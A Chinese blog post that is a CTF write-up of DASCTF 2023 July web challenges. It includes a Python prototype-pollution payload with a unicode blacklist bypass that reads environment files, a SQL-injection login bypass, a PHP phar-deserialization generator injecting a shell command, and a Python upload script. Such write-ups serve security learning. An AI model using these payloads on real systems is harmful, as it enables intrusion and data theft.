Z1d10tのBlog

A note for myself,have fun!

  1. 1. EzFlask
    1. 1.1. 预期解:
    2. 1.2. 非预期
      1. 1.2.1. 第一种:污染__**file__**任意文件读取
      2. 1.2.2. 第二种: 污染 _static_folder 路径穿越
  2. 2. MyPicDisk
  3. 3. ez_cms
  4. 4. ez_py
  5. 5. ez_timing
  6. 6.

DASCTF 2023 & 0X401七月暑期挑战赛 部分WEB复现与学习

EzFlask

跟标题就是flask有关的 进入题目直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
for i in black_list:
if i in data:
return False
return True

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False

Users = []

@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"

@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)

大致看一眼 经典的python原型链污染 当时做的时候也成功登录了

但是我不知道污染哪里这个题目 应该是我没见过的知识点

预期解:

其实最重要的一部分我反而没有看到 qwq

1
2
3
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()

__file__:当前脚本运行的路径

img

这里我们如果能污染__file__值 那么我们就可以读取任意文件了

还有就是这题开了pin 而且还有个/console路由 这是咋发现的真离谱

然后是黑名单waf了__init__

在check()之后是进行了一次json.loads的,而json识别unicode 所以可以用unicode编码进行bypass

预期解就是利用任意文件读取然后计算pin码 就可以getshell了

这里就不赘述了

非预期

真正学习的是非预期

这里有两种payload:

第一种:污染__**file__**任意文件读取

前面也说过原理了 只要我们将__file__污染为我们想读取的文件名即可

直接读环境变量

1
{"username":"1","password":"1","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"__globals__":{"__file__":"/proc/self/environ"}}}

img

然后访问/proc/1/environ 出题人环境变量中的flag忘删了

img

第二种: 污染 _static_folder 路径穿越

首先来看看 _static_folder

flask init文件部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
def __init__(
self,
import_name,
static_url_path=None,
static_folder='static',
static_host=None,
host_matching=False,
subdomain_matching=False,
template_folder='templates',
instance_path=None,
instance_relative_config=False,
root_path=None
):

可以看到static_folder='static' 默认是在static文件也即是默认的静态文件的位置

我的理解是 我们static_folder可以指定静态文件的位置 并且我们可以访问 一般我们做题都有注意到我们可以访问static目录

那么 如果我们污染_static_folder让他的路径为/ 那么我们是不是可以根目录下的所有文件了

因此我们就可以路径穿越了

img

注意一下路径/static/proc/1/environ

MyPicDisk

这道题目 如何上传文件的同时并且post数据 我尬住了 不太会 额额额 抽象

然后赛后看了师傅们的wp 真的太强辣

首先用户名存在万能钥匙登录 admin' or 1=1# 就可以登录了

然后存在源码泄露/y0u_cant_find_1t.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<?php
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}
?>





<?php
if (!isset($_SESSION['user'])){
}
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
</body>
</html>

源码逻辑也比较清楚 我寄在了怎么一边上传文件一边post传参

根据源码逻辑 我们先要登录成功 然后才能上传文件 所以post传参和发包同时弄 我不太会

因为这个题目登录成功之后还会退出来 不会留在上传文件的页面 所以我们要手动发包 我只会用现成的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://e8a71e4c-c09f-4e5c-85ff-9c8df9323115.node4.buuoj.cn:81/index.php" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

所以就寄了

赛后看师傅们的wp 是用py脚本的发的 真的太强了

然后这道题目最明显的就是 FILE类的析构函数存在一个命令执行漏洞然后就能想到是phar反序列化了

1
2
3
public function __destruct(){
system("ls -all ".$this->filename);
}

那么一般我们phar反序列化还要配合能够触发反序列化的文件操作函数才行

img

看了下这道题目源码没有这些函数 但是这次又学到一个函数就是md5_file()

img

在源码这个地方 如果我们提交get参数 file和todo 那么他将会将我们的文件进行md5_file()后输出

1
2
3
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);

那么phar反序列化能够搭配的函数又多了一个qwq

所以思路明确 先phar生成一个包含我们恶意序列化的图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
$this->filename = $filename;
}
}

$a = new FILE("/;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd");
$phartest=new phar('phartest.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering();

然后配合脚本 上传上去 偷的https://mp.weixin.qq.com/s?__biz=MzIzMTQ4NzE2Ng==&mid=2247493970&idx=1&sn=9a20317104c56bd5060763e1461908ea&chksm=e8a1ca83dfd643954775d5e84a80a74876cde679a30db3e581d0bb1553510ada71937299318a&mpshare=1&scene=23&srcid=07256NyrGaLqc95MJJrprw2j&sharer_sharetime=1690256252504&sharer_shareid=122e5be9c4961e59957c3603ed41e762#rd 师傅真的太强了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import os
import requests
# 获取当前脚本文件的目录路径
current_directory = os.path.dirname(os.path.abspath(__file__))
# 构建文件路径
image_path = os.path.join(current_directory, '1.jpg')
proxy = {
"http": "http://127.0.0.1:8080"
}
burp0_url = "http://e8a71e4c-c09f-4e5c-85ff-9c8df9323115.node4.buuoj.cn:81/?"
burp0_cookies = {"PHPSESSID": "su"}
files = {
'file': ('1.jpg', open(image_path, 'rb'), 'image/jpeg')
}
data = {
'username': "x' or 1=1 or '='",
'password': '1',
'submit': '登录'
}
res = requests.post(burp0_url, cookies=burp0_cookies, files=files, data=data, proxies=proxy)
print(res.text)
#burp0_url = "http://8ea14a59-3600-4799-a424-95e815a3d71f.node4.buuoj.cn:81/?file=phar:///var/www/html/1.jpg&todo=md5"
#res = requests.post(burp0_url, cookies=burp0_cookies,data=data,proxies=proxy)
#print(res.text)

先登录+上传文件 然后登录+phar包含

都是同时进行每一步

img

img

又学到了 之后要好好学一下requests这个库和其他常用库

ez_cms

熊海cms v1.0 文件包含+pearcmd 第一次见

img

关于pearcmd:

https://w4rsp1t3.moe/2021/11/26/%E5%85%B3%E4%BA%8E%E5%88%A9%E7%94%A8pearcmd%E8%BF%9B%E8%A1%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/

payload:

这个pearcmd的文件路径很难找 要一个一个试

img

?r=../../../../../../../tmp/123访问rce就行了

反正我没复现成功 感觉是赛后靶机和比赛的不一样 rce不了 还是我姿势不对 无语了

ez_py

考点:django session pickle反序列化

不太会 以后再来看 还是第一次见

ez_timing

HTTP/2??????? 6

本文最后更新于 天前,文中所描述的信息可能已发生改变